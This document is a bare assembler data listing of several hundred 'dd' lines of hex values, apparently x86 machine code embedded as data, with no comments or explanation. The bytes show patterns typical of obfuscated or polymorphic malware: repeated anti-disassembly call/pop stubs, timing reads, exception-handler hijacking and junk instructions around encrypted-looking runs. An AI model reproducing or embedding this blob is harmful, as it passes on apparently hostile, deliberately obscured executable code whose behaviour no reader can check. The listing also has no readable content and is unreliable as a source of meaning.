		dd 886966C3h, 124D8529h, 8B660614h, 800F50F8h, 5, 914FC3BBh
		dd 2404894Eh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	13C35040h, 733905BFh, 0F88B006Ah, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6FF232C3h, 0F800F2Bh, 0E9000000h, 0Ah, 244A0E57h, 0A6D57A0Ah
		dd 0BB66D195h, 95FF2D29h, 6141B19h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 8DC35040h, 788D8DBBh, 6A0617A7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0C6ABC353h, 6AD1FFEFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FC23C355h
		dd 0D3D87CFEh, 483E3613h, 1A899589h, 0BD830614h, 61401CDh
		dd 6E850F01h, 89000000h, 1416D995h, 6A026A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 11B9C353h, 0C84370Fh, 0A59D03CAh, 90061430h,	0D9BF6652h
		dd 0F505BEBh, 0B8Ah, 0BB525000h, 2CE425A3h, 585A310Fh
		dd 71958990h, 0FF06142Eh, 1433AD95h, 13E906h, 13F20000h
		dd 0A79DCB87h, 950B6D39h, 0A29551E4h, 0C3C64727h, 0DB4E95Fh
		dd 0E80000h, 5D000000h,	3943ED81h, 6A0618h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 13ED46C3h
		dd 8D01C768h, 6140E0Dh,	8E8h, 8160D800h, 0B2AFFB24h, 698D0922h
		dd 5B06141Bh, 8E49858Dh, 9D8B0617h, 6140CD1h, 93BB6690h
		dd 64905095h, 35FFh, 0BF0F0000h, 258964DBh, 0
		dd 495B589h, 85FF0614h,	6142DEDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0EC35545h, 66FF6A94h, 0DA12E381h
		dd 0ECDB5FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0EF6128C3h, 139038D1h, 5850Fh, 0F0BF0000h
		dd 0FF584F78h, 142A8995h, 127E906h, 9D230000h, 6140AF5h
		dd 6830Fh, 0BD8B0000h, 61408A1h, 9D0100B0h, 614087Dh, 9D0B70E6h
		dd 61402FDh, 613C71E4h,	0FB830Fh, 0FEB30000h, 29C8B60Fh
		dd 1406858Dh, 6BA06h, 11E90000h, 0CF000000h, 0FF159F7Eh
		dd 0C0EDB50Fh, 85A17723h, 6B829D9Ch, 0B753C18Bh, 0E8C15BF2h
		dd 6619B704h, 8F0FE2F7h, 3, 2BFFB70Fh, 5DBD0BC8h, 8B061420h
		dd 0BF0F53D1h, 0CBBF5FDFh, 0E951B3CDh, 2, 858BF88Bh, 6141301h
		dd 5E9h, 0E39F1C00h, 0C0835493h, 81666007h, 0F9AB27E7h
		dd 0C08361h, 3B3CDB80h,	11830FD0h, 8B000000h, 142B759Dh
		dd 6FE906h, 0BD8B0000h,	6141E81h, 10C58D8Bh, 840F0614h
		dd 6, 0D0DBD03h, 81660614h, 83BAECDFh, 840F01E1h, 49h
		dd 5E9h, 386E4800h, 0A5839687h,	61410C5h, 896060FEh, 140EED95h
		dd 800F06h, 61000000h, 0D357BA66h, 1958961h, 0E9061413h
		dd 14h,	0F90882E8h, 0D2E04AE2h,	8E19A5D1h, 0F39B5B8Ah
		dd 0B35DA7B1h, 0E9h, 0ECB58D00h, 6A0617BEh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F49FC351h
		dd 14DBB6F9h, 0D98B0E7Ch, 9D2B006Ah, 6141C51h, 297195FFh
		dd 89600614h, 14259D85h, 0CBBF0F06h, 6ECB961h, 9D8B0000h
		dd 61423D5h, 6AFCE183h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 5A63C353h, 0F3815040h
		dd 7003F211h, 6AFC5Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 606DEEC3h, 5E957h, 0B8D60000h, 5A2B7811h
		dd 6181C080h, 2157BF66h, 0EBB3C02Bh, 0DF81D22Bh, 15743132h
		dd 0DFBF0F56h, 0C233AD5Fh, 0D003E8D1h, 7504E983h, 11E9F4h
		dd 52B00000h, 0B4E01C53h, 0C41B24A1h, 0D30466BBh, 6A21109Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 6B1CC352h, 0F4AA85FFh, 8B9CE39Ah,	141021BDh
		dd 81BD8906h, 0D06142Eh, 88h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 30C35747h, 4BF6693h, 69958BF4h
		dd 6A06142Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 2287C356h, 0EF47EA2h, 558D8BC9h
		dd 6A061410h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 603DC353h, 0CAC985FCh,	89F9BF0Fh
		dd 141985BDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 122AC353h, 0E55827EDh,	0ACEB8172h
		dd 8B209846h, 4DBD83DFh, 6140Fh, 70840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 28637CC3h, 151CD69Ch, 0B8F5BEh, 8A000000h, 0FF8D8DF9h
		dd 0E906144Dh, 14h, 0C3FC76B9h,	208762CDh, 0E68748BFh
		dd 0D7450D1Eh, 9649183Ch, 1FED8D89h, 0E1FF0614h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 81C35545h, 0BD836C6Ch
		dd 614013Dh, 7F840F00h,	8B000004h, 1415219Dh, 3DBD8306h
		dd 1061401h, 487840Fh, 0AE80000h, 0FE000000h, 0E6D53ACBh
		dd 14D4E07Ch, 5FB0B7E7h, 13DBD83h, 0F030614h, 43286h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 4B6A8AE7h, 0BD094721h, 61409BDh, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0CD5292D8h
		dd 96123D9Bh, 3015BD89h, 8C660614h, 3820FD9h, 66000000h
		dd 0E180D98Bh, 0F9BF0F04h, 840FC90Ah, 148h, 8BD5C780h
		dd 140E3585h, 2DBD3306h, 3306140Ah, 1406A985h, 55BD2306h
		dd 90061404h, 4860Fh, 0BF660000h, 505031D5h, 0D98B6652h
		dd 0B060310Fh, 0EE86Ah,	0BA660000h, 2F3AE590h, 38D80B4Ah
		dd 804BAB41h, 585A615Fh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 111CB279h, 0D5F41BF4h
		dd 6AFCC5B0h, 870F5000h, 5, 89F38166h, 68685BF6h, 8132A05Fh
		dd 5C972434h, 6A32BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 178970C3h, 0D5FF3BDAh, 870FB009h
		dd 6, 1FDD9D0Bh, 95FF0614h, 614089Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 55C35040h, 89659836h, 142E5D85h
		dd 11E906h, 57520000h, 73C01D25h, 0BFFB94F6h, 5BBC477Dh
		dd 89EB8D05h, 17A7EA85h, 0CE906h, 0D0F0000h, 0D0FF502Ch
		dd 61D1D69Bh, 0DF8153B6h, 247F2863h, 1FFE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 9C8447D5h, 0DC5C6752h, 9D03906Dh, 6140E21h, 0A7E2858Bh
		dd 81660617h, 0C7F2CEDBh, 1800h, 12840F00h, 0E9000000h
		dd 0Dh,	411F2133h, 13396540h, 63341B34h, 0E6B58BE0h, 6A0617A7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 24FBC352h, 858B46E5h, 6140281h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 5DC35040h, 689B90Ah
		dd 6398D89h, 33B30614h,	0E35858Bh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5746E0C3h
		dd 6117D679h, 8B044689h, 1416099Dh, 60609606h, 11E8h, 0C9D8A200h
		dd 4F41F427h, 9A16C87Fh, 332F59DDh, 0E85AEF5Eh,	7, 268DCECAh
		dd 59AD062Fh, 2820F61h,	56000000h, 5650615Fh, 0AE8h, 69995400h
		dd 91572E89h, 6640906Fh, 5B5BD88Bh, 2DBD2B96h, 80061430h
		dd 0B5FF0CDFh, 617A7E2h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0E1C35646h, 0ED21BBA6h, 4E83F9Dh, 0FF000000h
		dd 66001F03h, 0F50FE8Bh, 81h, 24448B00h, 0BB008B04h, 42B45AFCh
		dd 4244489h, 9E9h, 55B9FC00h, 0F7AA0652h, 6A58266Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F99FC351h, 8DFBB70Fh, 17A7EA85h, 0F5B52906h, 9006141Bh
		dd 0E8B0F50h, 50000000h, 0F525052h, 0F585A31h, 5A2AB731h
		dd 9D8B9058h, 61418B1h,	9D95FFFCh, 6A061408h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 1232C357h, 0F245A645h, 1159D8Bh, 9D290614h, 6140D9Dh
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 43A69B40h, 68F0Fh, 9D8B0000h, 6141B3Dh
		dd 77EF8166h, 3D85C747h, 3061401h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 7557C351h, 57718A5Ch, 1D9D89FAh
		dd 0E806142Ch, 0Ch, 985B91ABh, 0FBFA2B50h, 0C38BD495h
		dd 5840Fh, 64BF0000h, 5F24D338h, 0A7EABD83h, 0F000617h
		dd 1E84h, 0D1BD8B00h, 0E9061407h, 2Eh, 0EE9h, 2DBDDA00h
		dd 0AF79EEh, 0E1B9301Bh, 50258F58h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 8166C08Bh, 6ACCABCBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 449AC350h, 0E346642Eh, 52586EA8h,	7E15C781h
		dd 6660749Ah, 0DD8AF28Bh, 3DBD8361h, 3061401h, 437850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 4605CAC3h, 60951262h, 419503h, 95890614h
		dd 61418C1h, 0E1BD8B61h, 8306141Fh, 17A7EABDh, 840F0006h
		dd 3F5h, 0B5FF5B57h, 617A7EAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 35C35040h, 0B4923275h, 8146F76Bh
		dd 1432DADFh, 3995FF66h, 8A061403h, 0DEB58BDCh,	0F0617A7h
		dd 1086h, 6E86000h, 79000000h, 85388CE8h, 61605B3Dh, 0DD8D2961h
		dd 0C706141Bh, 1000106h, 96D98B00h, 8E0F6050h, 0
		dd 85019661h, 6141FBDh,	0A7EAB5FFh, 6E90617h, 40000000h
		dd 0F9A80405h, 8195FF42h, 89061410h, 140B5185h,	0DEB58B06h
		dd 660617A7h, 6B7FEB81h, 0FF9858Bh, 0D7810614h,	2A5FDB1Dh
		dd 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0BC5C7C3h, 0CACB6EADh, 6880Fh, 9D0B0000h
		dd 6140E21h, 2B69958Bh,	0FE80614h, 0B3000000h, 0BED8E139h
		dd 925C1DC9h, 7B541F0Eh, 89604749h, 14051195h, 65852B06h
		dd 61061430h, 4C2835Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 75C35545h, 10E9h, 0B7EB3E00h,	383F2EE1h
		dd 0D0DBB27Eh, 2BEF9BE7h, 2050893Bh, 23858DF5h,	6A0617BCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 383FC351h, 0D9D337Eh, 8906141Dh, 0B886h
		dd 4D852900h, 6A061406h, 14E800h, 0D4230000h, 57B0D7A9h
		dd 442F54B3h, 0F1EF81ADh, 714B9ACCh, 0BB661B26h, 0FF5FB96Fh
		dd 17A7EAB5h, 0FDBD8B06h, 0FF06141Bh, 1433AD95h, 899D8B06h
		dd 96061413h, 28D0F60h,	60000000h, 890F5661h, 0
		dd 5050615Bh, 0F60B752h, 5AFE8B31h, 6A9658h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 889955C3h
		dd 1059B589h, 9D8B0614h, 6141FB1h, 0A7EAB5FFh, 85890617h
		dd 614318Dh, 0FFFFBF0Fh, 14230995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 3D0CAD91h
		dd 0BD0BA0ADh, 6143039h, 89BD83F8h, 61411h, 9F840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 2AD8BDC3h, 0F69A399Ah, 18860F2Dh, 0F000000h,	1282h
		dd 0DE900h, 0A7C90000h,	87A51FA5h, 0A839F8BDh, 96C29CD4h
		dd 50D98B66h, 10E9h, 0FF337E00h, 0C89AB39Dh, 0FEC5A0ABh
		dd 230F5D8Bh, 6A96F4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 755FCDC3h, 850FABD4h, 0Dh, 0E6816660h
		dd 85899F6Eh, 6142A69h,	0A830F61h, 60000000h, 0BB23E680h
		dd 6CA68D6Dh, 0EAB5FF61h, 6A0617A7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0C894C355h
		dd 1F759529h, 95FF0614h, 61402D5h, 6D38166h, 13E97Ah, 0CF560000h
		dd 0F80DA368h, 961FA69h, 0DED75744h, 0D37257B9h, 0EAB5FFCDh
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0FF0C356h, 0E82DDC1Ch,	13h, 0D7AF8643h
		dd 20A487A6h, 0F69365F2h, 905406F4h, 0BFF1437Fh, 8E5ABA1h
		dd 73EF815Bh, 0FF2E930Ah, 140B7595h, 0ADBD0306h, 8306140Dh
		dd 14112DBDh, 840F0206h, 36h, 1389BD01h, 858B0614h, 6140055h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8AC35343h
		dd 845BDD3Ch, 0C6894CE0h, 0BF660000h, 85C76614h, 6141E49h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D0C35646h
		dd 0D398761h, 81F7AF26h, 1DF6A5D7h, 0F30BE930h,	8D89FFFFh
		dd 6140FFDh, 0A69BD29h,	0C18B0614h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0FAC35646h,	858DCE3Ah, 6140791h
		dd 11198D89h, 66500614h, 489F88Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6AA66087h
		dd 6ADE8B00h, 8DC8B700h, 1848BC85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 85010D9Bh
		dd 6142595h, 0A79BD8Bh,	0C0830614h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0EF8166C9h
		dd 5390E7B4h, 8D0F5250h, 0
		dd 585A310Fh, 6A90505Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 5676C351h, 70B07A77h
		dd 80F9C0Fh, 7099D8Bh, 6A0614h,	2850Fh,	0F98B0000h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 117FEEC3h, 0BF26D115h, 5EEC2B99h, 1B1995FFh,	95BF0614h
		dd 8D1391AFh, 17A7788Dh, 6AD1FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 538BC352h
		dd 8B7DDFA7h, 141A359Dh, 0CDBD8306h, 1061401h, 8A850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 4DD27C3h,	6F59589h, 26A0614h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 83C35747h, 0C9BB6663h
		dd 0BB575003h, 77EC3B61h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 6DC35646h, 810F0CDCh, 0
		dd 33AD95FFh, 840F0614h, 8, 0D58D8957h,	5F06140Bh, 0E21E9h
		dd 0E800h, 815D0000h, 1848C6EDh, 0A1BB6606h, 52006ACDh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F21FFE7h, 68Eh, 0C4C38100h,	8D3013AAh, 178E4985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9F280C22h, 60603F1Fh, 810Fh,	0BF0F0000h, 0D78B61DEh
		dd 0E9FC6061h, 8, 0CAB5DA51h, 7E3D0FF7h, 8A0F5061h, 4
		dd 0FCF6BB66h, 0E8240489h, 0Ah,	55F710h, 97C62341h, 6E9C29Eh
		dd 2C000000h, 25C0DF14h, 0FF645B90h, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 6FC8BE49h, 0A011B041h, 0BA6660EBh, 13E85AA4h, 8B000000h
		dd 60E5161Dh, 82B194D4h, 0AE4D6EB7h, 0E4AEB742h, 81663AB0h
		dd 59D4BBE1h, 25896461h, 0
		dd 7E8h, 0B9108700h, 1F534381h,	1269BD8Bh, 665B0614h, 85FFFB8Bh
		dd 6142DEDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	2BC35242h, 15958969h, 50061412h, 11E9h,	0E9A5E100h
		dd 0AAAD4FDFh, 0ACAECF6Ch, 4892FEBAh, 6A5BCD80h, 6E9FFh
		dd 7D350000h, 6DA78135h, 0FFDE8B66h, 142665B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 468172ADh, 65D11226h, 8B66DCF0h, 8995FFDEh, 0E906142Ah
		dd 0F9h, 23F5BD8Bh, 0B00614h, 12E9h, 448B7700h,	7BA8E6F9h
		dd 0B13B44BDh, 3188D11Fh, 0E61E6BFDh, 0D98D8970h, 0E406141Eh
		dd 0E3816671h, 8B66D1C1h, 0F613CFAh, 0C083h, 1D8D8900h
		dd 0F061430h, 6E9C8B6h,	0B000000h, 29C55D59h, 0FFB70FF5h
		dd 6BAh, 21BD8B00h, 8B06141Fh, 0B3BF66C1h, 4E8C1C3h, 66D8BF0Fh
		dd 0DA8BE2F7h, 0B589C82Bh, 6140A4Dh, 1CE99D8Bh,	0D18B0614h
		dd 6E9FC8Ah, 8B000000h,	142D39BDh, 65858B06h, 8B061406h
		dd 1433A5BDh, 7C08306h,	83FEB70Fh, 9D8B00C0h, 6140BDDh
		dd 830FD03Bh, 11h, 25DDBD01h, 42E90614h, 8B000000h, 14071DBDh
		dd 258D8B06h, 1061431h,	140D2D9Dh, 1E18306h, 27840Fh, 2DB70000h
		dd 3125A583h, 8BFE0614h, 14267DBDh, 65958906h, 60061406h
		dd 256D8D31h, 1EBB0614h, 615AC6EAh, 0E9h, 9DB58D00h, 660617C7h
		dd 6A920CBBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 14F18769h, 13619D01h, 95FF0614h
		dd 6142971h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	23C35242h, 6F34B768h, 0B98650BDh, 0E52h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EAC35646h, 2BD75A78h
		dd 0E19BD2Bh, 0E1830614h, 0F38166FCh, 6AFCDECDh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0B14AC355h, 189F4B78h, 0C02B0B52h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 55C35040h, 0F4E6DD69h, 0A843E8B6h
		dd 3481B529h, 0BA0614h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0B078C352h
		dd 0F947E6EEh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4BC35242h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 68488ADDh, 1EE4BCA2h, 81667523h, 0D712EDFh, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E5C35343h, 0D4D2F5FAh
		dd 8722CA5Eh, 2B69958Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 29A3A4C3h, 8D8BF10Bh
		dd 6141055h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0F9C35747h, 748BC744h, 0BD33798Ah, 6142AADh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3B6877C3h
		dd 817C3DD5h, 2D79BD8Bh, 8B660614h, 4DBD83DEh, 6140Fh
		dd 6A840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 150424h, 50400000h, 0B8EFC0C3h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B2C35343h
		dd 0F404BEBh, 0EB1C8CECh, 6800Fh, 0B5890000h, 6140FF5h
		dd 4DFF8D8Dh, 0F2B70614h, 810FE1FFh, 8,	2890Fh,	0DE8B0000h
		dd 13DBD83h, 0F000614h,	37484h,	0DF8B6600h, 13DBD83h, 0F010614h
		dd 37F84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0E59D035Ch, 83061406h, 14013DBDh
		dd 860F0306h, 31Ah, 28D8509h, 6A600614h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0CA02C357h
		dd 8B1336DEh, 59B58990h, 6606140Ch, 0E781D98Ch,	2C9F7AACh
		dd 0E804E180h, 0Eh, 1DE0BBDEh, 62F880ADh, 29CA1F04h, 0B70F546Ch
		dd 0C90A5BF9h, 0AB840Fh, 858B0000h, 6140E35h, 0B9B58B60h
		dd 6106142Ah, 19E58D31h, 85330614h, 61406A9h, 83F6DB81h
		dd 0BF504C73h, 0E65687Ah, 0B7240489h, 8B006AB2h, 140C659Dh
		dd 4E806h, 3FF0000h, 5E9001Fh, 6A000000h, 8D954A39h, 8B37B750h
		dd 0BF042444h, 64E073B5h, 0FE8008Bh, 90000000h,	4BB70585h
		dd 288C781Ch, 9FC8CE1Fh, 0FFBFA9FFh, 5B171ABDh,	4244489h
		dd 0BC66BA60h, 85BF7EF4h, 6105FC55h, 8870F58h, 52000000h
		dd 810Fh, 0FF5F0000h, 14089D95h, 89DF8B06h, 17A7EA85h
		dd 85AFBB06h, 0A0E938BEh, 81000001h, 0C59AD3E7h, 0E2858B13h
		dd 660617A7h, 5609CF81h, 1800C7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 455A3C3h
		dd 896096F8h, 1403F195h, 0DF816606h, 8B6102BCh,	17A7E6B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 40EF6AB6h, 719D8B43h, 8B06142Ah,	14028185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0A731D200h, 9F284DDh, 141BC58Dh,	6A068906h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 2686C356h, 8B0DE7D2h, 140E3585h, 0AE906h
		dd 0DDDB0000h, 0CCC44E90h, 0E8F6AF7Fh, 6A044689h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 965BC355h, 95E9BB66h, 5E950h, 95220000h, 9616A935h
		dd 0A7E2B5FFh, 0BD8B0617h, 61400E5h, 7334C168h,	240481CCh
		dd 33ABCF3Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	85C35646h, 0DA8B2261h, 8D19EB80h, 17A7EA85h, 0CD9D8B06h
		dd 5006141Fh, 66605250h, 0E93E65B9h, 13h, 93A57385h, 559FBE36h
		dd 0EACF0818h, 445C6FEDh, 61186478h, 585A310Fh,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 94CAC352h, 8906EB9Fh, 14018195h, 9D95FF06h
		dd 61061408h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	4EC35040h, 4AC0FE78h, 3FC0F946h, 9E9F5h, 0A7500000h
		dd 8207B2F2h, 0C78745BDh, 14013D85h, 306h, 0BD83FC00h
		dd 617A7EAh, 2F840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2E43C356h
		dd 807252E9h, 8B70D1D7h, 142E19BDh, 1BE906h, 30500000h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 363FCC04h, 3E1B5682h, 8D292F5Bh,	61406A5h
		dd 11E8h, 0E5318000h, 0D3211FC1h, 74A832Ah, 9ABAF2Ah, 0DDB388BEh
		dd 3DBD835Fh, 3061401h,	4E8850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0FEC60C3h
		dd 519589D8h, 0FC061420h, 0A7EABD83h, 0F000617h, 4B584h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0D60104FCh, 12E8A7AFh, 14000000h, 32E1931Eh
		dd 0C5692D66h, 0EE7F057Dh, 9304B7Bh, 0DDBD8B85h, 5F061408h
		dd 0A7EAB5FFh, 9D8B0617h, 6140E39h, 33995FFh, 0CB800614h
		dd 0DEB58B90h, 6A0617A7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0E8C8C356h,	417438F5h
		dd 9F82DCFh, 2618D781h,	6C77DBBh, 10001h, 66525050h, 0F0DD3BBh
		dd 5870F31h, 0BF000000h, 199E0999h, 3489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 37C50BBDh, 0B5FFFCBAh, 617A7EAh, 8195FFF8h, 89061410h
		dd 1411718Dh, 0DEB58B06h, 890617A7h, 142D6DB5h,	0F9858B06h
		dd 6A06140Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0A5F3C350h, 0E405E013h, 0FE8BC081h
		dd 868982B7h, 0C4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 8CC35646h, 0EA5231F7h, 66490872h, 0F10DDB81h
		dd 2B69958Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 937472C3h, 0C2833417h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 456781F5h, 5089ECB9h, 51006A20h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 9032D3C9h, 0BEBF66ADh
		dd 23858D06h, 6A0617BCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 31D6C356h, 141DB585h
		dd 0DB816606h, 8689A4EFh, 0B8h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 2AC35040h, 6ADBB70Fh, 85896000h
		dd 614076Dh, 0BD3361F8h, 6142B21h, 0A7EAB5FFh, 6A0617h
